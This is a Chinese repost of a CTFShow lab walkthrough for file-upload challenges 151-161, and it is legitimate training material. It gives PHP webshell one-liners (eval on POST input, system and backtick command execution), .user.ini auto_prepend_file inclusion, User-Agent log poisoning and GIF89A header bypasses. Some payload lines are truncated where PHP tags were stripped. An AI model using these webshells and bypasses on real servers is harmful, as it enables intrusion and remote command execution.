我的编程空间,编程开发者的网络收藏夹
学习永远不晚

PHP-nginx-ctfShow文件上传漏洞

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

PHP-nginx-ctfShow文件上传漏洞

CTFSHOW-文件上传-151到161关卡

151 152-JS验证+MIME

Content-Type: image/png

153-JS验证+user.ini

https://www.cnblogs.com/NineOne/p/14033391.html

.user.ini:auto_prepend_file=test.png

test.png:php eval($_POST[x]);?>

154 155-JS验证+user.ini+短标签

echo '123';?> //前提是开启配置参数short_open_tags=on

(表达式)?> //不需要开启参数设置

<% echo '123';%> //前提是开启配置参数asp_tags=on

<script language=”php”>echo '1'; script> //不需要修改参数开关

.user.ini:auto_prepend_file=test.png

test.png:eval($_POST[x]);?>

156 JS验证+user.ini+短标签+过滤

.user.ini:auto_prepend_file=test.png

test.png:eval($_POST{x});?>

157 158 159 JS验证+user.ini+短标签+过滤

使用反引号运算符的效果与函数 shell_exec()相同

.user.ini:auto_prepend_file=test.png

test.png:system('tac ../fl*')?>

test.png: echo `tac /var/www/html/f*`?>

160 JS验证+user.ini+短标签+过滤

包含默认日志,日志记录UA头,UA头写后门代码

.user.ini:auto_prepend_file=test.png

test.png:include"/var/lo"."g/nginx/access.lo"."g"?>

161 JS验证+user.ini+短标签+过滤+文件头

文件头部检测是否为图片格式文件

.user.ini:GIF89A auto_prepend_file=test.png

test.png:GIF89A include"/var/lo"."g/nginx/access.lo"."g"?>

151关(修改前端代码即可)

后门代码:

post:x=system('ls');

修改前端代码

上传包含后门代码的php文件

通过POST提交指令x=system('tac ../flag.php');

152关(修改content-type类型,上传PHP文件)

通过修改前端代码,发现上传失败,先正常上传png,通过抓包猜测,限制了content-Type

继续修改前端代码。抓包,修改信息

153关(.user.ini包含1.png自动执行)

使用到了.user.ini的文件配置漏洞

.user.ini实际上就是一个可以由用户“自定义”的php.ini

指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中

.user.ini : auto_prepend_file=1.png

1.png :

post : x=system('tac ../flag.php');

.user.ini 父目录中是自动带有index.php

154关( 换为

当内容检测中,过滤了,可以使用一下方法

echo '123';?> //前提是开启配置参数short_open_tags=on

(表达式)?> //不需要开启参数设置

<% echo '123';%> //前提是开启配置参数asp_tags=on

<script language=”php”>echo '1'; script> //不需要修改参数开关

这一关过滤的php,所以 换为

 

 

155关

和154关的过关方法是一样的

发现存在过滤

156关(前端修改代码无效,上传后门代码)

过关方法:

  1. png:

  1. 直接访问/upload/ post:x=system('tac ../flag.php'); 显示flag

发现存在内容检测过滤

但把[]去掉后,发现上传成功,说明对大括号进行过滤了,换{}试试

157关(过滤了php字段,通过*代替了php)

过关方法:

  1. png:

  2. 直接访问/upload/ 显示flag

自动执行了代码

158关

和157关的方法是一样的

159关(过滤了PHP执行命令,反括号代替执行命令)

过关方法:1.png:

.user.ini:auto_prepend_file=1.png

直接访问http://520b52c2-b233-4095-beb0-a8d8fe9a27b9.challenge.ctf.show/upload

160关(通过访问日志记录的读取,.user.ini的文件包含执行)

解题方法:

  1. png:

  2. .user.ini : auto_prepend_file=1.png

 

可以看到服务器的访问日志记录,发现了很多UA头,所以在UA头上做手脚

成功拿到flag

161关(修改内容-文件类型)

发现什么内容也无法上传

发现限制了文件类型内容,内容加GIF89A

#知识点:

1、文件上传-前端验证

2、文件上传-黑白名单

3、文件上传-user.ini妙用

4、文件上传-PHP语言特性

#详细点:

1、检测层面:前端,后端等

2、检测内容:文件头,完整性,二次渲染等

3、检测后缀:黑名单,白名单,MIME检测等

4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等

来源地址:https://blog.csdn.net/m0_63917373/article/details/127272185

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

PHP-nginx-ctfShow文件上传漏洞

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

网站漏洞修复之Metinfo 文件上传漏洞

Metinfo CMS系统被爆出网站存在漏洞,可上传任意文件到网站根目录下,从而使攻击者可以轻易的获取网站的webshell权限,对网站进行篡改与攻击,目前该网站漏洞影响范围是Metinfo 6.2.0最新版本,以及以前的所有Metinfo
2023-06-03

PHP 代码安全:防范文件上传漏洞

为了防止php文件上传漏洞,需要:验证文件类型限制文件大小清理文件信息使用白名单仅允许特定类型文件上传PHP 代码安全:防范文件上传漏洞引言文件上传功能是 Web 应用程序中的常见功能,但如果处理不当,它可能会使应用程序面临严重的安全漏
PHP 代码安全:防范文件上传漏洞
2024-05-10

java文件上传漏洞怎么解决

要解决Java文件上传漏洞,可以采取以下措施:文件类型白名单过滤:在服务器端对文件上传请求进行检查,确保只接受预期的文件类型。可以通过检查上传文件的扩展名或使用文件类型检测库来实现。文件大小限制:限制上传文件的大小,可以防止上传过大的文件导
2023-10-27

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录